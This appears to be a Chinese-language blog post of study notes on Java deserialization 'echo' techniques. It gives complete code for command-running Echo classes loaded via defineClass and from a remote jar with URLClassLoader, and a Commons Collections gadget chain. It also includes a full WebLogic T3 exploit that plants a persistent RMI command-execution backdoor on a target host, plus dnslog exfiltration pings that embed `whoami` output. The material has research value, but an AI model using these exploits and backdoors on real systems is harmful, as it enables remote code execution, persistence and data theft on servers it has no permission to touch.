java序列回顯學習

akka1發表於2022-04-21

java反序列化回顯

在很多不出網的情況下,一種是寫webshell(記憶體嘛),另一種就是回顯,本文先學習回顯,回顯的主要方式有一下幾種。

  1. defineClass
  2. RMI繫結例項
  3. URLClassLoader丟擲異常
  4. 中介軟體
  5. 寫檔案css、js
  6. dnslog

前面有多多少了解過ClassLoader本篇花費一節仔細學習一下

1、前置知識

classloader顧名思義,即是類載入。虛擬機器把描述類的資料從class位元組碼檔案載入到記憶體,並對資料進行檢驗、轉換解析和初始化,最終形成可以被虛擬機器直接使用的Java型別,這就是虛擬機器的類載入機

1.1、ClassLoader載入過程

主要是三個階段

第一個階段是載入,把.class檔案載入到記憶體,併為它建立一個java.lang.Class物件

第二個階段是連線,連線包括三階段

驗證:確保載入的類資訊符合JVM規範,無安全方面的問題。

準備:為類的靜態Field分配記憶體,並設定初始值,變數的初始值,如:int=0。

解析:將類的二進位制資料中的符號引用替換成直接引用。

第三階段是初始化

1、優先對該類的父類進行初始化,然後對static修飾的變數和程式碼塊進行初始化

img

1.2、classloader雙親委託機制

當一個類載入的過程中,它首先不會去載入,而是委託給自己的父類去載入,父類又委託給自己的父類。因此所有的類載入都會委託給頂層的父類,即Bootstrap Classloader進行載入,然後父類自己無法完成這個載入請求,子載入器才會嘗試自己去載入

img

1.啟動類載入器(Bootstrap Classloader)負責將<JAVA_HOME>/lib目錄下並且被虛擬機器識別的類庫載入到虛擬機器記憶體中。我們常用基礎庫,例如java.util.,java.io.,java.lang.**等等都是由根載入器載入

2.擴充套件類載入器(Extention Classloader)負責載入JVM擴充套件類,比如swing系列、內建的js引擎、xml解析器等,這些類庫以javax開頭,它們的jar包位於<JAVA_HOME>/lib/ext目錄中

3.應用程式載入器(Application Classloader)也叫系統類載入器,它負責載入使用者路徑(ClassPath)上所指定的類庫。我們自己編寫的程式碼以及使用的第三方的jar包都是由它來載入的

4.自定義載入器(Custom Classloader)通常是我們為了某些特殊目的實現的自定義載入器

1.3、ClassLoader類 核心方法

1.loadClass(String className),根據名字載入一個類。
2.defineClass(String name, byte[] b, int off, int len),將一個位元組流定義為一個類。
3.findClass(String name),查詢一個類。
4.findLoadedClass(String name),在已載入的類中,查詢一個類。

1.4、自定義Classloader

當載入一個類時,會首先從已經載入的類裡面去查詢這個類。如果類未載入,且如果父載入器不為空,則呼叫父載入器的loadClass方法進行載入,如果父載入器為空,則呼叫BootStrap class loader載入。如果依然沒有載入到類,則呼叫findClass方法。而findClass方法是需要子類重寫的。所以我們只需要繼承classLoader重寫findClass方法就可以實現自定義ClassLoader

1、繼承classLoader
2、重寫findClass()方法
3、在findClass()中呼叫defineClass

編寫測試類

package com.akkacloud.demo;

import java.io.*;
import java.util.Arrays;

public class test {
    public void testclassloder() {
        System.out.println("test classloader");
    }


}

編譯成class檔案

image-20220414222045762

編寫自己的classLoder

package com.akkacloud.demo;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class myClassloader extends ClassLoader{

    private static String ClassName = "com.akkacloud.demo.test";
    //獲取class檔案,轉換成byte
    private static byte[] getbyte() throws IOException {
        InputStream is = new FileInputStream(new File("/Users/akka/Downloads/deserialzeEcho/src/main/java/com/akkacloud/demo/test.class"));
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        byte[] bytes = new byte[1024];
        int temp;
        while ((temp = is.read(bytes)) != -1) {
            outputStream.write(bytes, 0, temp);
        }
        //轉換後的byte[]
        byte[] finalBytes = outputStream.toByteArray();
        return finalBytes;

    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {

        //如果類名為我們定的類
        if(name==ClassName){
            try {
                //從位元組中獲取一個類
                return defineClass(ClassName, getbyte(),0,getbyte().length);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        return super.findClass(name);
    }

    public static void main(String[] args) throws ClassNotFoundException {
       //新建自定義的類載入器
        myClassloader myClassloader = new myClassloader();
        Class<?> aClass = myClassloader.loadClass(ClassName);
        try {
            //反射呼叫類的方法
            Object o = aClass.newInstance();
            Method declaredMethod = aClass.getMethod("testclassloder", null);
            declaredMethod.invoke(o, null);
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }


    }
}

2、defineClass異常回顯

首先新建惡意異常回顯類,並且編譯成class檔案

package com.akkacloud.demo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Echo {
    public Echo(String cmd) throws Exception {
        ProcessBuilder processBuilder = new ProcessBuilder(new String[]{cmd});
        Process start = processBuilder.start();
        InputStream inputStream = start.getInputStream();
        InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
        BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
        StringBuffer stringBuffer = new StringBuffer();

        String line =null;
        while ((line = bufferedReader.readLine()) != null) {
            stringBuffer.append(line).append("\n");
        }
        throw new Exception(stringBuffer.toString());

    }
}

新建自己的classLoder

package com.akkacloud.demo;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class myClassloader extends ClassLoader{

    private static String ClassName = "com.akkacloud.demo.Echo";
    //獲取class檔案,轉換成byte
    private static byte[] getbyte() throws IOException {
        InputStream is = new FileInputStream(new File("/Users/akka/Downloads/deserialzeEcho/src/main/java/com/akkacloud/demo/Echo.class"));
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        byte[] bytes = new byte[1024];
        int temp;
        while ((temp = is.read(bytes)) != -1) {
            outputStream.write(bytes, 0, temp);
        }
        //轉換後的byte[]
        byte[] finalBytes = outputStream.toByteArray();
        return finalBytes;

    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {

        //如果類名為我們定的類
        if(name==ClassName){
            try {
                //從位元組中獲取一個類
                return defineClass(ClassName, getbyte(),0,getbyte().length);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        return super.findClass(name);
    }

    public static void main(String[] args) {
       //新建自定義的類載入器
        myClassloader myClassloader = new myClassloader();
            //反射呼叫類的方法
        try {
            Class<?> aClass = myClassloader.loadClass(ClassName);
            Object o = aClass.getConstructor(String.class).newInstance("id");

        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }


    }
}

image-20220414231017365

3、URLClassLoader異常回顯

通過將回顯結果封裝到異常資訊丟擲拿到回顯。

異常回顯類

package com.akkacloud.demo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Echo {
    public Echo(String cmd) throws Exception {
        ProcessBuilder processBuilder = new ProcessBuilder(new String[]{cmd});
        Process start = processBuilder.start();
        InputStream inputStream = start.getInputStream();
        InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
        BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
        StringBuffer stringBuffer = new StringBuffer();

        String line =null;
        while ((line = bufferedReader.readLine()) != null) {
            stringBuffer.append(line).append("\n");
        }
        throw new Exception(stringBuffer.toString());

    }
}

打jar包

javac Echo.java
jar -cvf Echo.jar Echo.class

image-20220414231446718

使用URLClassLoader載入jar獲得回顯

package com.akkacloud.demo;

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class myURLClassLoader {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        URL url = new URL("http://localhost:8000/Echo.jar");
        URL[] urls = {url};
        URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
        Object o = urlClassLoader.loadClass("com.akkacloud.demo.Echo").getConstructor(String.class).newInstance("id");

    }
}

image-20220414232326218

4、改造cc鏈

把上面的程式碼換成反射執行先

package com.akkacloud.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;

public class myURLClassLoader {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
/*        URL url = new URL("http://localhost:8000/Echo.jar");
        URL[] urls = {url};
        URL[] urls= new URL[]{ new URL("http://localhost:8000/Echo.jar")};
        */


/*
        URLClassLoader urlClassLoader = URLClassLoader.newInstance(new URL[]{ new URL("http://localhost:8000/Echo.jar")});
         Object o = urlClassLoader.loadClass("com.akkacloud.demo.Echo").getConstructor(String.class).newInstance("id");

*/



        Method getConstructorMethod = URLClassLoader.class.getClass().getMethod("getConstructor", new Class[]{Class[].class});
        //new Object[]{}是invoke的引數型別要求,new Class[]{}是getConstructor的引數型別,URL[].class是具體呼叫newInstance需要傳入url陣列
        Object getConstructor = getConstructorMethod.invoke(URLClassLoader.class, new Object[]{new Class[]{URL[].class}});
        System.out.println(getConstructor);

        Method newInstanceMethod = getConstructor.getClass().getMethod("newInstance", new Class[]{Object[].class});
        URLClassLoader urlClassLoader = (URLClassLoader) newInstanceMethod.invoke(getConstructor, new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/ProcessExec.jar")}}});
        System.out.println(urlClassLoader);


        Class aClass = urlClassLoader.getClass();
        Method loadClassMethod = aClass.getMethod("loadClass", new Class[]{String.class});
        Object Echo = loadClassMethod.invoke(urlClassLoader, new Object[]{"com.akkacloud.demo.Echo"});
        System.out.println(Echo);

        Method getEchoConstructor = Echo.getClass().getMethod("getConstructor", new Class[]{Class[].class});
        Object EchoConstrutor = getEchoConstructor.invoke(Echo, new Object[]{new Class[]{String.class}});
        System.out.println(EchoConstrutor);


        Method EchonewInstance = EchoConstrutor.getClass().getMethod("newInstance", new Class[]{Object[].class});
        EchonewInstance.invoke(EchoConstrutor, new Object[]{new String[]{"id"}});


        }

}

image-20220415192130932

改造cc

package com.akkacloud.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;

public class myURLClassLoader {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                    new ConstantTransformer(URLClassLoader.class),
                    new InvokerTransformer("getConstructor",
                            new Class[]{Class[].class},
                            new Object[]{new Class[]{URL[].class}}),
                    new InvokerTransformer("newInstance",
                            new Class[]{Object[].class},
                            new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/Echo.jar")}}}),

                    new InvokerTransformer("loadClass",
                            new Class[]{String.class},
                            new Object[]{"com.akkacloud.demo.Echo"}),

                    new InvokerTransformer("getConstructor",
                            new Class[]{Class[].class},
                            new Object[]{new Class[]{String.class}}),
                    new InvokerTransformer("newInstance",
                            new Class[]{Object[].class},
                            new Object[]{new String[]{"id"}})


            });

            HashMap innermap = new HashMap();
            LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
            TiedMapEntry tiedmap = new TiedMapEntry(map,123);
            BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
            Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val.setAccessible(true);
            val.set(poc,tiedmap);

            try{
                ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
                outputStream.writeObject(poc);
                outputStream.close();

                ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
                inputStream.readObject();
            }catch(Exception e){
                e.printStackTrace();
            }
        }

}

5、繫結RMI例項回顯

1、編寫介面類

package com.akkacloud.rmi;

import java.io.IOException;
import java.rmi.Remote;

public interface Echo extends Remote {
    public String Echo(String cmd) throws IOException;
}

2、編寫介面實現類,重寫Echo方法,傳入惡意程式碼

package com.akkacloud.rmi;

import java.io.IOException;
import java.io.InputStream;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Scanner;

public class EchoImpl extends UnicastRemoteObject implements Echo {
    protected EchoImpl() throws RemoteException {
        super();
    }

    @Override
    public String Echo(String cmd) throws IOException {
        InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
        Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
        String s = scanner.hasNext() ? scanner.next() : "";
        System.out.println("123");
        return s;
    }
}

3、編寫Rmi服務端

package com.akkacloud.rmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        EchoImpl echo = new EchoImpl();
        System.out.println(echo);
        Registry registry = LocateRegistry.createRegistry(1234);
        registry.bind("Echo",echo );
        System.out.println("rmiserver is running");
    }
}

4、編寫客戶端

package com.akkacloud.rmi;

import java.io.IOException;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiClient {
    public static void main(String[] args) throws IOException, NotBoundException {

        Registry registry = LocateRegistry.getRegistry("localhost", 1234);
        Echo echo = (Echo)registry.lookup("Echo");
        System.out.println(echo);
        System.out.println(echo.Echo("id"));

    }
}

服務端總體流程

1、編寫介面繼承Remote

2、編寫介面的Echo方法丟擲java.rmi.RemoteException 異常

3、編寫介面實現類EchoImpl,

4、重寫Echo方法

5、新建介面實現類並且繫結在註冊中心

客戶端總體流程

1、查詢註冊中心的對應方法

2、呼叫該方法

這裡大佬在有個思路,通過common-collection反序列化呼叫ClassLoader,通過位元組碼來自定義一個RMI介面類,在類實現的方法中返回命令執行的結果,其實就是打入一個rmi的後門,然後進行呼叫該後門進行執行命令,並且回顯。但是還有幾個問題

  1. defineClass需要ClassLoader的子類才能拿到

    定義了defineClass

    image-20220421110106970

    image-20220421110732549

    org.mozilla.classfile.DefiningClassLoader#defineClass
    
  2. 具體應該實現哪個RMI介面類呢?

    返回為String型別且繼承了Remote並且丟擲java.rmi.RemoteException

    image-20220421110931910

  3. common-collection構造的問題

// common-collection1 構造transformers 定義自己的RMI介面
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(DefiningClassLoader.class),
    new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
    new InvokerTransformer("defineClass",
                           new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    new ConstantTransformer(new HashSet())};

idea匯入weblogic的包,modules和wlserver_10.3/server下的lib包。然後匯入https://github.com/5up3rc/weblogic_cmd該專案。

首先先寫回顯類既Remote實現類

package com.supeream;

import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;

public class RemoteImpl implements ClusterMasterRemote {

    public static void main(String[] args) {
        RemoteImpl remote = new RemoteImpl();
        try {
            Context context = new InitialContext();
            context.rebind("echo",remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    @Override
    public void setServerLocation(String cmd, String args) throws RemoteException {

    }


    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {
            if (cmd.equals("unbind")) {
                Context ctx = new InitialContext();
                ctx.unbind("echo");
                return null;
            } else{
                String name = System.getProperty("os.name");
                String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                byte[] buf = new byte[1024];
                int len = 0;
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                while ((len = in.read(buf)) != -1) {
                    out.write(buf, 0, len);
                }
                return new String(out.toByteArray());
            }
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

工具類

package com.supeream;

import java.io.*;
import java.util.Arrays;

public class Tobyte {
    public static byte[] getbyte(String path) throws IOException {

        InputStream in = new FileInputStream(path);
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }


    public static void main(String[] args) throws IOException {
        byte[] getbyte = Tobyte.getbyte("/Users/akka/Desktop/RemoteImpl.class");
        System.out.println(Arrays.toString(getbyte));
    }
}

rmi客戶端類

package com.supeream;

import com.supeream.serial.Reflections;
import com.supeream.serial.SerialDataGenerator;
import com.supeream.serial.Serializables;
import com.supeream.ssl.WeblogicTrustManager;
import com.supeream.weblogic.T3ProtocolOperation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.mozilla.classfile.DefiningClassLoader;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.corba.utils.MarshalledObject;
import weblogic.jndi.Environment;

import javax.naming.Context;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class test {
    private static String host = "172.20.10.4";
    private static String port = "7001";
    private static final String classname = "com.supeream.RemoteImpl";

    private static  byte[] bs ;

    public static void main(String[] args) {
        try {
            String url = "t3://" + host + ":" + port;
            // 安裝RMI例項
            bs=Tobyte.getbyte("/Users/akka/Desktop/RemoteImpl.class");
            invokeRMI(classname, bs);

            Environment environment = new Environment();
            environment.setProviderUrl(url);
            environment.setEnableServerAffinity(false);
            environment.setSSLClientTrustManager(new WeblogicTrustManager());
            Context context = environment.getInitialContext();
            ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("echo");

            // 呼叫RMI例項執行命令
            String res = remote.getServerLocation("ipconfig");
            System.out.println(res);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    private static void invokeRMI(String className, byte[] clsData) throws Exception {
        // common-collection1 構造transformers 定義自己的RMI介面
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(DefiningClassLoader.class),
                new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
                new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
                new InvokerTransformer("defineClass",
                        new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
                new ConstantTransformer(new HashSet())};

        final Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        InvocationHandler handler = (InvocationHandler) Reflections
                .getFirstCtor(
                        "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Override.class, lazyMap);

        final Map mapProxy = Map.class
                .cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
                        new Class[]{Map.class}, handler));

        handler = (InvocationHandler) Reflections.getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Override.class, mapProxy);

        // 序列化資料 MarshalledObject繞過
        Object obj = new MarshalledObject(handler);
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        objOut.flush();
        objOut.close();
        byte[] payload = out.toByteArray();
        // t3傳送
        T3ProtocolOperation.send(host, port, payload);
    }
}

如T3ProtocolOperation報錯,需要修改兩處

image-20220421105128977

SocketFactory類

image-20220421105139005

最後成功了

image-20220421105515133

6、中介軟體回顯

中介軟體回顯我們另開篇章學習

7、寫檔案、dnslog

這兩種都比較簡單,寫檔案主要是搜尋一些特殊的靜態檔案,然後將結果寫入檔案,dnslog如下

dnslog

//windows
ping %OS%.ijowns.dnslog.cn
//linux
ping -c 1 `whoami`.niddp9.dnslog.cn
變數                                           型別       描述
%USERNAME%                                     返回當前登入的使用者的名稱。
%USERDOMAIN%                                   返回包含使用者帳戶的域的名稱。
%OS%                                           返回作業系統名稱。Windows 2000 顯示其作業系統為 Windows_NT。
%USERPROFILE%                                  返回當前使用者的配置檔案的位置。
%ALLUSERSPROFILE%                           返回“所有使用者”配置檔案的位置。
%APPDATA%                                 返回預設情況下應用程式儲存資料的位置。
%CD%                                       返回當前目錄字串。
%CMDCMDLINE%                                    返回用來啟動當前的 Cmd.exe 的準確命令列。
%CMDEXTVERSION%                              返回當前的“命令處理程式擴充套件”的版本號。
%COMPUTERNAME%                                返回計算機的名稱。
%COMSPEC%                                            返回命令列直譯器可執行程式的準確路徑。
%DATE%                                                  返回當前日期。
%ERRORLEVEL%                                  返回上一條命令的錯誤程式碼。通常用非零值表示錯誤。
%HOMEDRIVE%                                           返回連線到使用者主目錄的本地工作站驅動器號。基於主目錄值而設定。使用者主目錄是在“本地使用者和組”中指定的。
%HOMEPATH%                                             返回使用者主目錄的完整路徑。基於主目錄值而設定。使用者主目錄是在“本地使用者和組”中指定的。
%HOMESHARE%                                           返回使用者的共享主目錄的網路路徑。基於主目錄值而設定。使用者主目錄是在“本地使用者和組”中指定的。
%LOGONSERVER%                                      返回驗證當前登入會話的域控制器的名稱。
%NUMBER_OF_PROCESSORS%                 指定安裝在計算機上的處理器的數目。
%PATH%                                          指定可執行檔案的搜尋路徑。
%PATHEXT%                                                 返回作業系統認為可執行的副檔名的列表。
%PROCESSOR_ARCHITECTURE%              返回處理器的晶片體系結構。值:x86 或 IA64(基於 Itanium)。
%PROCESSOR_IDENTFIER%                    返回處理器說明。
%PROCESSOR_LEVEL%                            返回計算機上安裝的處理器的型號。
%PROCESSOR_REVISION%                       返回處理器的版本號。
%PROMPT%                                           返回當前解釋程式的命令提示符設定。由 Cmd.exe 生成。
%RANDOM%                                          返回 0 到 32767 之間的任意十進位制數字。由 Cmd.exe 生成。
%SYSTEMDRIVE%                                  返回 Windows server operating system 根目錄的位置。
%TEMP%和%TMP%                                 返回對當前登入使用者可用的應用程式所使用的預設臨時目錄。有些應用程式需要 TEMP,而其他應用程式則需要 TMP。
%TIME%                                         返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細資訊,請參閱 Time。
%WINDIR%                                       返回作業系統目錄的位置

8、結束

在rmi繫結回顯最後測試卡了很久,最後還是請教了y4er師傅,反寫師傅的指導,總結一句就是不夠細心、不夠細心、不夠細心。

參考

https://y4er.com/post/weblogic-uses-classloader-and-rmi-to-display-command-execution-results/

https://github.com/5up3rc/weblogic_cmd/

相關文章